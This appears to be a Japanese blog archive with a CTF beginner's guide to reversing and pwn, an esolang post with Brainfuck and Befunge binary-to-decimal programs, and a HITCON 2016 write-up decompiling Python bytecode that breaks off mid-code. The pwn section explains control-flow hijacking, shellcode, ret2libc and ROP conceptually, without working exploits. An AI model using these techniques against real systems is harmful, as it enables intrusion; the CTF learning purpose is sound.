パスワードを当てたり、ゲームの得点を改竄したり、遅いアルゴリズムを高速化したり、アンチリバーシング技術をかいくぐったりする。
アセンブリやバイナリを全部読めばたいてい解けますが、時間がかかりすぎるので、知識や観察を組み合わせつつすばやく解決する技術が要ってきます。(もしくは根性)

pwn

プログラムがサーバ上で動いているので、それに対して攻撃することにより、サーバ上にあるflag.txtを頑張って読み取ってくださいというもの。
バッファオーバーフローとか、フォーマットストリングバグとか、を起こしてしまうとやばいね、という話。
実際に動いているプログラムをばりばりぶっ壊せるので楽しい。(大会でやるから許されてしまうのであって、実世界で動いているものに対してやってしまうと不正指令電磁的なんとか*1に触れてしまうのでそこんとこは注意)
攻撃方法を思いつくには、たいていまず与えられた脆弱性のある実行ファイル(たいていx86かx64のelf)を解析しないといけないです。(たまにCのコードが与えられるものもある)Reversingの知識がある程度いるので、Reversingと並列にやっていきましょう。

Reversing

いかに手短にプログラムの挙動を把握するか、という問題。知識や観察力やエスパー力を頼りに素早く問題バイナリを解析していく。

例)

• 入出力対応から察するにROT13なのでは　
• UUDDRLRLなのでBAとくるのでは
• 112358とあるのでフィボナッチ数の順に呼んでやればよいのでは (これはエスパーともいう)

ツール類

• IDA

つよい。32bitのexeとelfを解析してくれる。

• GDB

動的解析ならこれ。pedaというpython拡張を入れるととても強くなるので入れましょう。

• Hopper

最近知った心強い味方。64bitのelfを投げると解析してくれる。(ただし無償版は30分で再起動する)

• Objdump

とりあえずかけておいてもよさそう。
逆コンパイル結果がだばだば出てくるので参考にするとよいです。あと.pltとか見たりする。

• OllyDbg

Windows動的解析ならとりあえずこれかな。

• x64dbg

64bitのときはこちらに投げたりした。まだあんまり使ったことなし。

• z3, angr

どちらもpythonのライブラリ。z3はSAT,SMTソルバであり、n次元連立方程式を解くときとかに投げる。angrは最近でてきたもので、パスワードチェックを通るようなパスワードを探索する、みたいなことをしたいときに制約式をがりがり立てて自動的に解いてくれる。使い方がちと難しいが強力な大鉈。

• dex2jar
• jd-gui
• ILSpy

それぞれ、dexの展開、jarの解析、.netの解析をやってくれる。ほかにもいろいろな形のバイナリが降ってくると思いますが、時々に応じてツールをフットワーク軽く使っていくとよいでしょう。

まず確認すべきこと

• file,stringsコマンドをかける。
• strace,ltraceのもとで実行する。
  • strace .. システムコールの呼び出しとか引数とかを全部出力してくれる。
  • ltrace .. ライブラリ関数の呼び出しとか引数とかを全部出力してくれる。
• Windowsの場合、IDAやOllyDbgなどで、「全ての外部関数呼び出し」や「全ての文字列定数」を見ておく。

elfのセキュリティ機構たち

実行ファイルのセキュリティ機構[RELRO/SSP/Nxbit/ASLR/PIE] - Pwn De Ring
ここにまとまってますね...
大抵、ASRLとNXのみで、セットでPIEとかRELROがついてきたりする。

カナリー,もしくはSSP(Stack Smash Protect)

関数に入るときのebpのアドレスとか戻りアドレスとかが上書きされないようにする。
__stack_chk_fail とか言う文字列が入ってると、多分使ってる。
gs:0x14 とかからランダムな値を引っ張ってきてる。

ASLR

アドレス配置のランダム化、というやつ。ヒープ、スタック、共有ライブラリ、の位置がランダムになる。(ほかにも、.bssとかも動くらしい...?)

PIE

位置独立実行コードと呼ばれるやつ。.textが自由な位置に配置されるようになってるの。
ふつう、動的リンクするライブラリを呼び出すときには、一旦.pltみたいなやつに仲介してもらうわけですが、そうはせずに e8 fc ff ff ff みたいにしてる。
すなわち、 call rel -4 みたいになってるとこがあるので、そこをロードする際に、直接、ライブラリの関数のアドレスで上書きしていく。
ライブラリのほうはRELROとかないので、相対アドレスがちゃんとわかればちゃんと動く...(ハズ)
PIEがあるとむしろReversingのほうでだいぶ苦しむ。

RELRO

Relocation Read Only.
Partial と Fullがある。
Fullの場合、GOT(WindowsでいうIATみたいなの)を上書きできないようにする。
RELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジー
これとかですかね。

DEP,もしくはNXビット

ふつう、ヒープやスタック上にeipが飛ぶ、みたいな事案はないはずなので、ヒープやスタック上に実行コードが置かれてもそれを実行しないようにするため。.text以外にはXが立たないようになってることがあるやつ。Windowsではデフォ。最近のLinuxでもデフォ。

ascii armor

strcpyとかをするときには、\x00までしか読み込まれない。
なので、\x00を含むようなアドレスにライブラリをロードするようにすると、pwnする際に苦労する。(のだけれど、そういう場合に限ってFSBだったりgetsだったりwriteだったりを使っているのであんまり苦しんだ記憶がない)

pwnについて

今のところelfに対するpwnしか出くわしたことがないのでそれについて書きます。

確認すべきこと

Reversingのそれに加えて、

• checksecでどんなのがかかっているかを確認する。
• readelfで_fini_arrayがあるかを確認する。
• vmmapでrwxな領域があるかを確認する。

使うもの

reversingで使うやつのほかに。

• python

僕はpythonで解法を書いたりしています。(cookieはrubyを推している)
https://github.com/satos---jp/ctf_tools
たいてい、この中の pwnscript.py を手元に落として、それからやってます。

• socat

手っ取り早くリモートの状況を再現したいときに叩く。僕は、コマンドを覚えていないので pwnscript.py からコピペして使えるようにしてます。
何をやっているかとかは、http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200 のP158あたりを読んでおくとよいです。

• nasm

シェルスクリプトを生成してくれる。毎回使い方を忘れるのでさっきのリポジトリ内の
https://github.com/satos---jp/ctf_tools/blob/master/x86-execve.s
を見ながら書いてます。
シェルスクリプトを書く際の注意点として、バグったら一旦Cで書いてみて、それのシステムコールの呼び方とちゃんと比較してみるとよいです。

• rp++

ROPをやる際にたいへん便利。

• metasploit

alphanumeric shellcode とかを生成してくれる。

システムコール

０から作るLinuxプログラム システムコールその１ ユーザープログラムからのシステムコール呼び出し
とかの中ほどに引数の説明がある。
x86とx64で呼び方とか引数の数とかがずいぶん変わっているので注意。

x86の場合

int 0x80 (cd80)で呼ぶ。システムコール番号はeax。引数はebx,ecx,edx,esi ...

x64の場合、

syscall ()で呼ぶ。システムコール番号はrax。引数はrdi,rsi,rdx,r10 ...

知っておくとよいのは、たとえば、

• read write (メモリの読み書き)
• open (ファイルを開く)
• execve (プロセスの実行)
• pipe2 (ファイルディスクリプタをつなぎかえる。自前でsocket通信してるやつに対して使ったり。)
• mmap (実行可能なメモリを確保する)

ですかね。

書き換えるとこ

大抵のpwn問では、まず制御をどうにかして奪える状況にしてやる必要があります。(eipを奪うとかいう)
で、code部分はたいてい書き換え不能なので他の部分をどうにかしてやる必要があります。

スタック

おなじみ。ReturnAddressがあるので書き替えるとよい。ebpを書き換えてスタックをずらし、その後ReturnAddressをどうこうするのもある。

GOT

WindowsにおけるIATみたいなもの。外部ライブラリの参照をするのでここを書き換えた状態でlibcの関数を呼ぶとeipが奪える。

Heap

C++で仮想関数とか使ってる場合はそこを書き換えると奪える。他にもmallocの管理部をぶっ壊せばいろいろなとこが書き換えられたりする。

_fini_array

GOT的な場所が他にもあって、exit関数内で呼び出される関数テーブルというのがあり、そこを書き換えるとよい。

文字入出力について

入出力を溢れさせてたいてい書き換えるので、入出力関数の特性を知っておくとよい。
入力では、scanf, gets, fgets, read 、 出力では、printf, puts, fputs, write 、他に strcpy,strncpy とかですかね。

関数	書き込みが止まるもの
scanf	水平タブ(0x9),改行(0xa),垂直タブ(0xb),改ページ(0xc),キャリッジリターン(0xd),スペース(0x20)
gets	0xa
read	なし
printf	0x0
puts	0x0
write	なし
strcpy	0x0

(手元のUbuntuで試した結果です)
入力は、どれもNULL文字と0xffはそのまま気にせず読み込むそうです。
ほかにも、s[10]; のとき、fgets(stdin,s,10); は問題ないが、 scanf("%10",s); や strncpy(s,t,10); ではoff_by_one エラーが起こるとか。

eipを奪った後

flagを表示してくれる関数、もしくはsystem("/bin/sh");みたいなのがあるとき

そこに飛ばせばよい。

NXビットが立ってないとき

自分のシェルコードを適当なとこに流し込んで、そこに飛ばすようにする。
シェルコード内では、system関数があればそれを呼ぶもよし、ないならexecveシステムコールを叩いて自前でやる。
自分のシェルコードがどこにあるか分からない(たとえばスタックのアドレスが不明)なら、まずebpとかをリークさせる。
また、流し込めるシェルコードの量が短いときは、一旦readとかを呼んで、後から追加でシェルコードを実行させる。(stagerという)

NXビットが立っているとき

自分の実行可能コードが流し込めないので、元からあるコードをパッチワーク的につなぐことによってどうにかする。『returnなんとか』とか『ほげほげoriented programming』とか呼ばれる技法はたいていこのあたりの話。

returnなんとか

return to libc

libcの関数を順々に呼んでいこう、というもの。
ふつう、関数が呼び出された直後のスタックというのは、

return addr

arg0

arg1

...

となってるわけです。さて、関数からretする直前には、

return addr

...

となって、pop eip されることにより return addrに飛ぶわけですが、オーバーフローさせることにより、たとえば

gotにあるsystemのアドレス

piyo

arg1

arg2

...

としてやると、system関数の先頭で、

piyo

arg1

arg2

...

となっているので、あたかもアドレスpiyoから関数が呼ばれたかのように見えます。

return oriented programming

ROPとよばれるやつ。
先ほどの状況では関数は1つしか呼べないので、たとえばfopenしたあとwriteみたいなことはできません。そこで、ROPガジェットというやつを利用します。
たいてい、関数がretする直前ではいろいろスタックに退避していた値をレジスタにpopします。すなわち

0x8048060	pop ebx
0x8048061	pop ebp
0x8048062	ret

みたいなことになっているアドレスがあったりするので、例えば、

gotにあるputsのアドレス

0x8048061

putsで表示したいアドレス

gotにある(ry

...

としてやると、
puts(putsで表示したいアドレス);
が実行された後、putsからretするときに

0x8048061

putsで表示したいアドレス

gotにある(ry

...

となり、pop ebp後に

gotにある(ry

...

となるので、関数呼び出しが連鎖していきます。こういうのをROPといいます。

以降かきかけ。
大嘘を書いてる可能性があるので気付いたらマサカリを投げてください。

参考

• http://www.slideshare.net/bata_24/presentations katagaitaiとかの勉強会の資料。量多めですがとりあえず目を通しておくとよさそう。
• ももいろテクノロジー　いつもお世話になっております。
• pwn challenges list - Pastebin.com bataさんのpwn問集。(といっても僕は常設埋めのほうをやってるけど...)
• 常設のやつ
  • ksnctf
  • akictf

みなさんご存知といった感じ。

• • Reversing.Kr
  • http://pwnable.kr/

韓国の。むずい。

• • MAGURO

最近主に埋めてる。pwn問がたくさんあるのでありがたい。

• O'Reilly Japan - Hacking：美しき策謀 第2版
• セキュリティコンテストチャレンジブック | マイナビブックス
• リバースエンジニアリングバイブル ～コード再創造の美学～ - インプレスブックス

なんか似たような本紹介をこないだも部誌でやった気がしますね...

*1:家庭用事件 - 似鳥鶏｜東京創元社 よいシリーズです。

esolangを書く

この記事はTSG Advent Calendar 2016 - AdventarとIS17er Advent Calendar 2016 - Adventarの1日目の記事として書かれました。
どちらもまだわりとすっかすかですが完走できるんでしょうか....

先日のTSGのハッカソンでesolang大会が突発的に発生したので、それによって生えたコードを紹介していきます。

esolangとは

1つ忘れてました！ 教室の壁には先日のesolang陣取り大会で部員が作成したesolangのソースコードを展示しています。Brainf**kやRailは力作です！ぜひご覧ください。 pic.twitter.com/WLiAKp1zib

— TSG@駒場祭516 (@tsg_ut) November 27, 2016

これです。
Esolang, the esoteric programming languages wiki
Wikiがあるので、そこのHello World一覧(Hello world program in esoteric languages - Esolang)を眺めるとよいでしょう。
いろいろな見た目のものがありますが、どれも共通しているのは、非実用的な目的で設計されている言語だということです。

問題

esolang陣取り大会のルールは簡単、「100桁の2進数を10進数に変換するプログラム」を指定された言語で書くと陣地をゲットできます。現在6つの言語がTSG部員の手に落ちました。 pic.twitter.com/voEVTBlq5U

— TSG@駒場祭516 (@tsg_ut) November 20, 2016

solang陣取り大会の続報です。現在TSG部員の無駄な努力によって、100言語中48言語が制覇されました。だいぶ賑やかになってきましたね。あと52言語！ pic.twitter.com/34eIcZfNBJ

— TSG@駒場祭516 (@tsg_ut) November 28, 2016

これです。現在100言語中だいたい半分が制覇されています。

言語についての説明はいろいろと良い資料が落ちているのでそれをぐぐってください。

解法

たとえば、pythonとかの多倍長整数をサポートしていてつよい言語は、

print int(raw_input(),2)

とでも書けば解けてしまいます。
esolangの中でも、極端に短く書けることを目標に設計された言語などは、多倍長や基数変換機能があったりするので、さっと解けます。

で、多倍長整数のないCなどは、たとえば以下のようにして変換することになります。

int a[100];

for(int i=0; i<35; i++){
    a[i]=0;
}

for(int k=0;k<100;k++){
    for(int i=34; i>=0; i--){
        a[i] *= 2;
        if(a[i]>=10){
            a[i+1]++;
            a[i] -= 10;
        }
    }
    if(getchar()%2)a[0]+=1;
}
for(int i=35; i>=0; i--){
    putchar('0'+a[i]);
}

このアルゴリズムはわりと汎用性が高いので、これをもとにして解いていくことにします。

Brainf*ck

みんな大好きBFです。命令が8個だけと少ないわりに書きやすいのが魅力的ですね。

コード

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[<
<
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>

>,------------------------------------------------[<+>-]

>-]

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>

生成したpythonコードのほうが読みやすいのでそれを載せます。

#coding: utf-8
t = 100
d = 35
mod = 10

print '>' * d * 3
print '+' * t #初期化
print '[<'
print '<'
print '<' * 2 * d


s = '>>[<++>-]<'
s += '[->+<' * (mod-1) #内側に入るならば10より多い。そうでないなら引く。
s += '[-<+> >[-]<[->+<]]'
s += ']' * (mod-1)
s += '''>
'''
print s * d
print '>,' + '-' * ord('0') + '[<+>-]'
print '''
>-]
'''

#以降出力
print '<' * d * 2
print d * ('+' * ord('0') + '.' + '>>')

解説

BFは実装によって、メモリの上限値がなかったり256だったりします。多倍長だと2倍していくだけでうまくいってよいのですが、今回は256が上限だったので、Cと同様の方法をとることにします。

今回、メモリの配置のイメージとしては、

...	a[35]	0	a[34]	0	......	a[1]	0	a[0]	0	k(カウンタ)	...

みたいな感じにしました。以降、色のついたマスが現在のポインタの位置と思ってください。

まず、for文

for(int k=0;k<100;k++){
  ほげふが
}

は、

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[<
ほげふが
>-]

によって実現できます。
で、まず

    for(int i=34; i>=0; i--){
        a[i] *= 2;
        if(a[i]>=10){
            a[i+1]++;
            a[i] -= 10;
        }
    }

ですが、今回は面倒だったので、似たような文を34回繰り返すことにしました。
各ループ内の

a[i] *= 2;
if(a[i]>=10){
   a[i+1]++;
   a[i] -= 10;
}

に対応するのは、

>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>

です。まず、この部分の実行直前には、

......	a[i+1]	0	a[i]	0	......

となっています。で、

>>[<++>-]<

によって、

......	a[i+1]	a[i]*2	0	0	......

となります。
さて、if(a[i]>=10)の部分ですが、僕は愚直に

[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>

とすることにしました。
まず、a[i]*2が10以下、たとえば4の場合は、

[->+<[->+<[->+<[->+<[

この時点で、メモリは

......	a[i+1]	0	4	0	......

となっているので、その後の[より内側は飛ばされ、結局 > のみが実行されて

......	a[i+1]	0	4	0	......

となり、うまいこと次のiに移っていきます。
また、a[i]*2が10以上のときは、

[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[

まで、一度もメモリが0にならずに実行されます。このとき、メモリは

......	a[i+1]	a[i]*2 - 9	9	0	......

となっています。で、その後、

-<+> >[-]

で

......	a[i+1]+1	a[i]*2-10	0	0	......

となり、

<[->+<]

で

......	a[i+1]+1	0	a[i]*2-10	0	......

となります。この時点で、指しているところは必ず0なので、あとはがりがり脱出していき、最終的に

]]]]]]]]]]>

で

......	a[i+1]+1	0	a[i]*2-10	0	......

となり、うまいことうまいこと次のiに移っていきます。

あとやるべきことは入出力くらいで、

>,------------------------------------------------[<+>-]

によって

a[0]+=getchar()-'0';

を、

++++++++++++++++++++++++++++++++++++++++++++++++.>>

を35回繰り返すことによって

putchar('0'+a[i]);

をやっています。

Befunge

2次元プログラミング言語の中でも有名なやつです。プログラムサイズが80*25に制限されているのでうまいことそこに収める必要があります。
これも整数の実装が多倍長でなかったので、Cと同様にやっていきます。

コード

v                                                                     
v     >:\0\0pv        >:66*\-:11p0g2*:9`11g1-0g+11g1-0p25*%11g0pv   
>75*>:|         >75*>:|                         >:66*\-0g"0"+,v     
      >25*:*  >:|     >~"0"-75*0g+75*0pv  >75*>:|                   
    ^    -  1<  >                         ^     >                  @
                    ^                                  - 1      <   
              ^           -1         $ <      ^           -1  <     

こんな感じです。お絵かきですね。
何も知らなくても、最初は左上隅に実行ポインタがあって、^v<>で実行の向きが変わる、ということを知っていればなんとなくどう実行されるか推測がつくのではないでしょうか。

解説

見たまんまです...といってもあれなので説明します。
Befungeはのメモリはスタックのみであり、スタックに対するランダムアクセス命令もないので、一見Cのように書くことができないかと思いますが、実はBefungeは自分のソースコードを読み込んだり書き換えたりすることができるので、(pで書き込み、gで読み込み)これを用いてソースコードの0行目を配列がわりに用いています。また(1,1)の座標のものをカウンタiとして用いています。

v                                                                     
v     >:\0\0pv 
>75*>:|         
      >25*:*  >
    ^    -  1<  

まず、この部分で、0行目の35(7*5)か所分を0で初期化しています。
条件分岐は | で行うことができ、非0なら上、0なら下に実行の向きが変わるので、35個分初期化したら100((2*5)^2)をスタックに積んで次の部分へ行きます。

        >:66*\-:11p0g2*:9`11g1-0g+11g1-0p25*%11g0pv   
  >75*>:|                         >:66*\-0g"0"+,v     
>:|     >~"0"-75*0g+75*0pv  >75*>:|                   
  >                         ^     >                  @
      ^                                  - 1      <   
^           -1         $ <      ^           -1  <     

本体はここです。

for(int k=0;k<100;k++){
    for(int i=34; i>=0; i--){
        a[i] *= 2;
        if(a[i]>=10){
            a[i+1]++;
            a[i] -= 10;
        }
    }
    if(getchar()%2)a[0]+=1;
}

は、

        >:66*\-:11p0g2*:9`11g1-0g+11g1-0p25*%11g0pv   
  >75*>:|                   
>:|     >~"0"-75*0g+75*0pv  
  >                        
      ^                                  - 1      <  
^           -1         $ <         

でやっていきます。

    for(int i=34; i>=0; i--){
        a[i] *= 2;
        if(a[i]>=10){
            a[i+1]++;
            a[i] -= 10;
        }
    }

は

     >:66*\-:11p0g2*:9`11g1-0g+11g1-0p25*%11g0pv   
75*>:|                   
     >
                        
   ^                                  - 1      <   

ですね。今回はBFに比べてわりと直観的に書けます(メモリからの読み出しと書き込みが面倒ですが)
で、外の部分

for(int k=0;k<100;k++){
    if(getchar()%2)a[0]+=1;
}

は、

  >75*>:|                   
>:|     >~"0"-75*0g+75*0pv  
  >                        
      
^           -1         $ <         

ですね。
で、後は35個分の値を、

      >:66*\-0g"0"+,v     
>75*>:|                   
^     >                  @
    ^           -1  <     

で出力していきます。

感想

Esolangの中でも有名な言語たちなので、サンプルコードやインタプリタが大量にあってよいです。良いインタプリタを使うとデバッグがはかどるので良いインタプリタを探して使っていきましょう。

Esolangを書こうとしてみると、いつも使っている言語がいかに書きやすく設計されているかありがたみが分かってよいので一度書いてみましょう。

HITCON CTF 2016 Quals の Writeup

TSGの面々(cookies,dai,hakatashi,moratorium,satos,yamaguchi)で参加してました。(土曜は各々の自宅で、日曜は集まって1徹夜で)
1550点で38位でした。

自分が関わった問題について

Handcrafted pyc

pythonのバイトコードが与えられるので、デコンパイルして読め、という問題。
dis というライブラリがあるとのことで、それでデコンパイルする。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import marshal, zlib, base64

bbx = base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==')
bx = zlib.decompress(bbx)
x = marshal.loads(bx)

print 'valname .. ' ,x.co_varnames
print 'const .. ' ,x.co_consts
print 'const .. ' ,x.co_consts[1].co_varnames
print 'const .. ' ,x.co_consts[1].co_consts

import dis
print dis.disassemble(x)
print dis.dis(x.co_consts[1])

と、中にmainという関数があり、その中で、

  1           0 LOAD_GLOBAL              0 (chr)
              3 LOAD_CONST               1 (108)
              6 CALL_FUNCTION            1
              9 LOAD_GLOBAL              0 (chr)
 
...中略...

            722 LOAD_CONST              18 (33)
            725 CALL_FUNCTION            1
            728 ROT_TWO             
            729 BINARY_ADD          
            730 ROT_TWO             
            731 BINARY_ADD          
            732 BINARY_ADD          
            733 BINARY_ADD          
            734 BINARY_ADD          
            735 BINARY_ADD          
            736 BINARY_ADD          
            737 LOAD_CONST               0 (None)
            740 NOP                 
            741 JUMP_ABSOLUTE          759
        >>  744 LOAD_GLOBAL              1 (raw_input)
            747 JUMP_ABSOLUTE         1480
        >>  750 LOAD_FAST                0 (password)
            753 COMPARE_OP               2 (==)
            756 JUMP_ABSOLUTE          767
        >>  759 ROT_TWO             
            760 STORE_FAST               0 (password)
            763 POP_TOP             
            764 JUMP_ABSOLUTE          744
        >>  767 POP_JUMP_IF_FALSE     1591
            770 LOAD_GLOBAL              0 (chr)
            773 LOAD_CONST              17 (99)
            776 CALL_FUNCTION            1
            779 LOAD_GLOBAL              0 (chr)
            782 LOAD_CONST              10 (116)

みたいになっている。
スタックに物を積んだり連結したりしてるようなので、適当にエミュレータもどきを書いてやる。

with open('da.txt','r') as fp:
	s = fp.readlines()

sta = []

